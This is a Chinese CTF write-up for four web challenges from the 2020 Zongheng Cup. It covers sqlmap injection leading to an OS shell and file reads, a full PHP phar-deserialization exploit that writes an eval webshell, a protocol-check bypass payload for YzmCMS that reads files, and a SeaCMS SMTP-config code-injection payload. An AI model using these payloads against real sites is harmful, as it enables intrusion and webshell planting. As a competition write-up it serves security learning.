2020纵横杯WriteUp-Web专项篇

  • A+
所属分类:逆向工程

我们终此一生,就是为摆脱他人的期待,做真正的自己!

点击上方蓝字关注我们



01

easyci      


1.   用户名存在sql注入,sqlmap可以直接一把嗦


2. 发现是root权限,利--sql-shell 的select load_file('');可以进行任意文件读取,读取/etc/apache2/apache2.conf


3. 可以看到/var/secert/,于是可以猜想web目录应该在/var/sercet/html

(这里卡了好久,tccccccllllll)

直接通过sqlmap 的命令--os-shell一把嗦(这里注意:自定义目录为/var/sercet/html, 一开始是/var/sercet/html/public/ 因为没注意权限,在这也卡了好久)



02

hello_php  


1.    首先使用 https://gitee.com/maxxis/fuzzDicts/tree/master/ctfDict/ctf-wscan 对URL进行扫描:



   2.     下载zip文使用,Seay源代码审计系统辅助审计

Admin.php文件:

全文只有一个上传点$config->upload_logo();

前提是需要先登录才可以使用上传:账号密码都硬编码在了config.php

Class.php:


上传文件内容可控,生成的文件名是md5(time()) 可以得知上传文件后的路径

3.  __destruct函数明显的经典配置文件:参考文章:https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html

4.    根据以下图可以知道使用file_exists函数,结合前面的经典配置文件漏洞,前提是需要反序列化,所以可以想到phar反序列化去反序列化config类,修改$this->title或者$this->comment;就可以篡改任意执行代码。

5.    生成phar反序列化代码在代码框。

得到phar.phar 拿去上传,根据Date头部得到时间,但是小时需要改一下,时区问题,我在本地也是和系统时间的小时对不上,多加8个小时就可对应文件。


 

通过:https://tool.lu/timestamp/ 在线时间戳转换一下,然后MD5加密即可得到文件名



 

然后构造

http://eci-2ze9eefnhrp3283m0ooj.cloudeci1.ichunqiu.com/index.php?img=phar://./static/47dd6642e5c2ec23c880b6ce880aa7f6.jpg

来触发反序列化

Config.php就是webshell,用蚁剑连接,发现没有权限,那肯定需要disable_function

蚁剑有disable_function 插件 可以在插件市场下载

 

连接代理脚本 拿flag:

附带exp:

<?phpinclude('config.php');class Config{    public $title;    public $comment;    public $logo_url;    public function __construct(){        global $title;        global $comment;        global $logo_url;        $this->title= $title;        $this->comment = $comment;        $this->logo_url = $logo_url;    }    public function upload_logo(){        if(!empty($_FILES)){            $path='./static/'.md5(time()).'.jpg';            move_uploaded_file($_FILES["file"]["tmp_name"],'./static/'.md5(time()).'.jpg');        }    }    public function update_title($title,$comment){        #垃圾老板就给我这么点钱,叫我怎么帮你做事。    }       public function __destruct(){        $file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php');        $file = preg_replace('/$title='.*?';/', "$title='$this->title';", $file);        $file = preg_replace('/$comment='.*?';/', "$commnet='$this->comment';", $file);        file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file);    } }$config=new Config;$config->title = 'test';eval($_POST[123]);//';$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($config); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件    //签名自动计算$phar->stopBuffering();?>


03

ezcms      

拿到地址,首先就是扫描一波:

 

下载www.zip文件

然后看到了这个是Yzmcms一顿Google。

找到了:https://www.cnblogs.com/Spec/p/11188198.html

参考该文章,后台需要账号密码。

在www.zip里面找了一下 使用db的账号密码就可以登录。


 

使用file协议的时候:


定位一下这个内容:发现判断有问题,就判断了url前4个字符 意味着httpxxxx:// 只要不是http https就可以

根据:

使用file_get_contents来获取源代码。

使用ticks 绕过 file_get_contents识别不了的协议会当作目录,域名算上就就是两个目录多加一些../ 就可以到达根目录

Poc:<test123><a href="httpsssss://baidu.com/../../../../.,./../../../flag">123</a></test123> 

然后重新采集就可以拿到flag

04

大家一起来代码审计


http://eci-2ze6qzeoof3pqwrhnvor.cloudeci1.ichunqiu.com/

老规矩了先扫描在google:



下载www.zip


根据目录结构名字,得到后台地址 adm1n

 

使用admin/admin弱口令登录了后台

参考;https://www.codenong.com/cs106920348/

发现被改了很多,不让我RCE。。。

上github官方地址找issue找到了https://github.com/ciweiin/seacms/issues/11

打开下载的www.zip找到了admin_smtp.php文件

 

仔细看代码,可以发现他是用双引号包裹起来的变量写入到文件。

Php可以支持双引号里面解析变量。然后在结合复杂变量${phpinfo()} 来任意执行代码

 

POC: smtpserver=${eval($_POST[123])}&smtpserverport=smtpserverport&smtpusermail=smtpusermail&smtpuser=smtpuser&smtppass=smtppass

 

 

webshell地址:

http://eci-2ze6qzeoof3pqwrhnvor.cloudeci1.ichunqiu.com/data/admin/smtp.php

 



蚁剑连接:不需要disable_function 直接读取flag

END




本文始发于微信公众号(IDLab):2020纵横杯WriteUp-Web专项篇

发表评论